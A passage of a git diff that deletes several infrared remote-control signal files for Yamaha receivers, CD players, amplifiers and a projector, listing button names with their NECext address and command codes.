04 00 00 00 -# -name: TAPE_REC_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: TAPE_DECK_AB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_PAUSE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_TRK_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_TRK_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_REW -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: PHONO_PLAY_CUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0E 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_ABCDE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: TAPE_DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: CD_DISC_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: EQ_ON_FLAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5A 00 00 00 -# -name: EQ_PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5B 00 00 00 -# -name: EQ_PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir deleted file mode 100644 index 60823e7cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: abcde -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: tapemonitor -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: tvdbs -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: vaux -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: effect -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: effect+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: effect- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: level -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: extdecoder -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: dolbydts -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: movietheater1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: movietheater2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: monomovie -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: tvsports -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: disco -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: rock -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: jazzclub -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: church -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: hall -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: setmenu -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: setmenu- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir deleted file mode 100644 index da934d741..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_BACK -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_FWD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SPACE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: PLUS10 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: OUTPUT_MINUS -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT_PLUS -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 55 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 57 00 00 00 -# -name: SYNCHRO -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 58 00 00 00 -# -name: PEAK -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir deleted file mode 100644 index 127029b35..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tape_play -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: tape_bck -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: tape_fwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: tape_stop -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: tape_rec -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: tape_deck_a/b -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: tape_dir_a -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: cd_play -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: cd_stop -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: cd_next -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: cd_prev -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: cd_fwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: cd_bck -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: tuner_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: tuner_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: tuner_a/b/c/d/e -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: md -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: tape_dir_b -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: cd_disc_skip -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir deleted file mode 100644 index b377f402e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: tuner+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: tuner- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: tuner-toggle -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: d-tv/cbl -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: md/cd-r -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: d-tv/cbl_alternative -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: v-aux -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: KEY_6ch_input -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir deleted file mode 100644 index 2661311c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 00 00 00 00 -# -name: cd_stop -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 01 00 00 00 -# -name: cd_play -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 02 00 00 00 -# -name: cd_next -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 03 00 00 00 -# -name: cd_last -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 04 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 07 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 08 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 09 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0A 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0C 00 00 00 -# -name: disc_scip -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 19 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1A 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: tape_stop -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 41 00 00 00 -# -name: tape_play_forward -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 42 00 00 00 -# -name: tape_play_back -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 43 00 00 00 -# -name: tape_forward -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 44 00 00 00 -# -name: tape_back -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 45 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 46 00 00 00 -# -name: tape1/2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 47 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: up_arrow -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 55 00 00 00 -# -name: down_arrow -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 56 00 00 00 -# -name: left_arrow -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 57 00 00 00 -# -name: right_arrow -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 58 00 00 00 -# -name: flat -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 59 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5A 00 00 00 -# -name: location -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5B 00 00 00 -# -name: user -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5C 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5D 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir deleted file mode 100644 index cc146684d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: vcr1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: tuner+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: tuner- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: vcr2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: tape/md -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: volume^ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: tv/dbs -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: v-aux -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: effect -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: level -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: decoder -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: setV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: set^ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: set+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: set- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: parameterV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C4 00 00 00 -# -name: parameter^ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C5 00 00 00 -# -name: parameter+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C6 00 00 00 -# -name: parameter- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir deleted file mode 100644 index 6a706aea2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPETAPE_BWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_RECPAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_AB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_DIRA -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_SEARCH_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_SEARCH_BWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SKIP_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SKIP_BWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: PRESET_PLUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET_MINUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: ABCDE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: TAPE_DIRB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir deleted file mode 100644 index 375069705..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: D1 00 00 00 -command: C2 00 00 00 -# -name: AUTO 